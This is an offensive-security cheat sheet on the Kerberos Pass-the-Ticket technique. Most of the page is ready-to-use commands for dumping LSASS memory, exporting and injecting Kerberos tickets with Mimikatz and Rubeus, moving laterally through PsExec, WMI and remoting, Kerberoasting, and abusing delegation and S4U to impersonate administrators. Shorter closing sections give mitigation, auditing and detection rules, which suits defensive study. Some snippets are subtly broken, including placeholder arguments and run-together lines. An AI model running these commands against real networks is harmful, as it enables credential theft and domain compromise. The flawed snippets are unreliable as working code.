🎫 Pass-the-Ticket (PtT)
🧠 Description
Pass-the-Ticket (PtT) is a lateral movement technique that extracts Kerberos tickets from memory and uses them to authenticate to other services. Unlike Pass-the-Hash which uses NTLM hashes, PtT uses Kerberos tickets (TGT or TGS) obtained from the LSASS process.
- Kerberos Authentication: Tickets grant access without re-authentication
- Memory Storage: Tickets cached in lsass.exe for single sign-on
- Cross-Platform: Works across forests and trust relationships
- Stealthy: No cleartext password stored or transmitted
- Long-Lasting: TGTs valid for hours, can be renewed
Kerberos Ticket Types:
- TGT (Ticket Granting Ticket): Valid for authentication to KDC
- TGS (Ticket Granting Service): Valid for specific service access
- Silver Ticket: Forged TGS for specific service
- Golden Ticket: Forged TGT with krbtgt hash
🔍 Ticket Extraction
Mimikatz - Extract All Tickets:
# Extract tickets from memory mimikatz.exe privilege::debug sekurlsa::tickets /export # Export to .kirbi files sekurlsa::tickets /export # Extract TGTs only sekurlsa::tgt /export
From LSASS Dump:
# Create lsass dump procdump.exe -accepteula -ma lsass.exe lsass.dmp # Extract tickets from dump mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::tickets /export" "exit" # Or use sekurlsa directly sekurlsa::minidump lsass.dmp sekurlsa::tickets
Rubeus - Harvest Tickets:
# Dump all tickets .\Rubeus.exe dump /nowrap # Filter by user .\Rubeus.exe dump /user:administrator /nowrap # Output to file .\Rubeus.exe dump /output:creds.txt # Monitor for new tickets .\Rubeus.exe monitor /interval:5
PowerShell - Native Methods:
# Using klist (limited extraction) klist # Using Kekeo misc::mst # Using Seatbelt .\Seatbelt.exe Tickets # Using SharpDPAPI SharpDPAPI.exe tickets
💣 Ticket Injection & Usage
Mimikatz - Pass the Ticket:
# Inject ticket into current session mimikatz.exe privilege::debug kerberos::ptt ticket.kirbi # List injected tickets kerberos::list # Purge tickets kerberos::purge
Rubeus - Pass the Ticket:
# Inject ticket .\Rubeus.exe ptt /ticket:base64ticket # Or from file .\Rubeus.exe ptt /ticket:path/to/ticket.kirbi # S4U/self (self ticket to access own services) .\Rubeus.exe s4u /ticket:base64ticket /impersonateuser:targetuser /targetserver:dc01.corp.com /rc4:hash
Cross-Domain Ticket Usage:
# If you have a TGT for one domain but need access to trusted domain # Use ticket between forests # Inject cross-realm TGT kerberos::ptt crossrealm_tgt.kirbi # Or use S4U2Self to get ticket for target user .\Rubeus.exe s4u /user:sourceuser /ticket:user_tgt.kirbi /tgs:krbtgt_tgs.kirbi
🚀 Lateral Movement with Tickets
Using Injected Ticket:
# After injecting ticket, access resources
dir \\targetserver\C$
dir \\dc01.corp.com\C$\Windows
# Using PsExec with ticket
.\PsExec.exe \\target cmd.exe
# Using WMI
Get-WmiObject -Class Win32_Process -ComputerName target -Credential (New-Object System.Management.Automation.PSCredential("$env:USERDOMAIN\$env:USERNAME", (ConvertTo-SecureString "dummy" -AsPlainText -Force)))
# Using PowerShell Remoting
Enter-PSSession -ComputerName target -Authentication Kerberos
Request Service Ticket (S4U):
# S4U2Self - get ticket as any user # (requires unconstrained delegation or RC4 hash) .\Rubeus.exe s4u /user:source /rc4:hash /impersonateuser:target /targetserver:target.corp.com # S4U2Proxy - use user's ticket to access service # (requires service has trusted delegation) .\Rubeus.exe s4u /ticket:user_tgt.kirbi /tgs:service_tgs.kirbi /createnetonly:C:\Windows\System32\cmd.exe
Kerberoasting with Ticket:
# If you have user's TGT, request TGS for any SPN .\Rubeus.exe kerberoast /user:target /ticket:user_tgt.kirbi /outfile:hashes.txt # Or ask for specific service .\Rubeus.exe kerberoast /spn:mssqlsvc/dbserver.corp.com /ticket:admin_tgt.kirbi
⛓️ Delegation-Based PtT
Unconstrained Delegation Exploitation:
# Find servers with unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
# If you compromise such a server, capture TGTs
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# Wait for admin to authenticate to compromised server
# Their TGT will be saved in memory
Resource-Based Constrained Delegation:
# Find RBCD configured computers
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherAccount |
Where-Object { $_.msDS-AllowedToActOnBehalfOfOtherAccount } |
Select-Object Name, msDS-AllowedToActOnBehalfOfOtherAccount
# If you can modify msDS-AllowedToActOnBehalfOfOtherAccount, add your computer
$target = Get-ADComputer target-server
$attacker = Get-ADComputer attacker-server
$SD = New-Object Security.AccessControl.RawSecurityDescriptor($target."msDS-AllowedToActOnBehalfOfOtherAccount", $false)
$SD.DiscretionaryAcl.RemoveAccess(Type, Principal, AccessMask, Inherited, ObjectInherit, Propagation)
Set-ADComputer target-server -PrincipalsAllowedToDelegateToAccount $attacker
S4U2Self Exploitation:
# If you have control over account with S4U2Self rights # Use that to get ticket for ANY user to a service # Using Rubeus .\Rubeus.exe s4u /user:compromised$ /rc4:rc4hash /impersonateuser:administrator /targetserver:targetservice.corp.com # Result: TGS for administrator to target service, even without administrator authenticating
💥 Impact
- Domain Admin Access: Use admin's TGT to access domain resources
- Cross-Domain: Pivot between forests using trust tickets
- Persistence: Tickets valid for hours, no re-auth needed
- Silent Access: No password to crack, just use ticket
- Delegation Abuse: Escalate via constrained/unconstrained delegation
🛡️ Mitigation
- Disable Unconstrained Delegation: Set computers to not trust for delegation
- Enable Resource-Based Constrained Delegation: More restrictive
- Protect Sensitive Accounts: Enable Kerberos Armoring (RC4 disabled)
- Monitor Ticket Requests: Alert on unusual S4U usage
- Regular Audit: Find accounts with delegation rights
- Credential Guard: Prevent ticket extraction from memory
PowerShell - Audit Delegation:
# Find unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} |
Select-Object Name, SamAccountName | Export-Csv unconstrained.csv
# Find constrained delegation
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne $null} |
Select-Object Name, msDS-AllowedToDelegateTo
# Find users with delegation
Get-ADUser -Filter {DelegationEnabled -eq $true}
Disable Unconstrained Delegation:
# Set computer to not trusted for delegation Set-ADComputer -Identity Server01 -TrustedForDelegation $false # Or via GUI # ADUC > Computer Properties > Account > Trust this computer for delegation > No
🔍 Detection
S4U2Self Detection:
# Event ID 4768 - TGT Requested
# Event ID 4769 - TGS Requested (service for user)
# Look for Ticket Encryption Type: 0x17 (RC4) or 0x1E (AES)
# Detect S4U2Self usage (Event ID 4769)
# Check for Accounts whose tickets were used:
# - Service Name: krbtgt (S4U2Self)
# - Account Name: targetuser (impersonated user)
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4769} |
Where-Object { $_.Message -match 'krbtgt' -and $_.Message -match 'Ticket Encryption Type.*23' } |
Select-Object TimeCreated, Properties
Sysmon - Ticket Monitoring:
# Sysmon Event ID 10 - ProcessAccess # Monitor for lsass accesslsass.exe # Sysmon Event ID 1 - Process Create # Alert on mimikatz, rubeus, kekeomimikatz.exe rubeus.exe kekeo.exe
Sigma Rules:
# Detect Kerberos ticket export
title: Kerberos Ticket Export
id: ticket-export
detection:
keywords:
- 'mimikatz'
- 'sekurlsa::tickets'
- 'lsass.exe'
- '.kirbi'
condition: keywords
level: high
🛠️ Tools
- Mimikatz: Ticket extraction, injection, golden ticket
- Rubeus: Comprehensive PtT, S4U, monitoring
- Kekeo: Ticket manipulation and generation
- PowerSploit: Kerberos module for ticket operations
- SharpMapExec: C# implementation for offensive ops
- Impacket: Linux-based Kerberos tools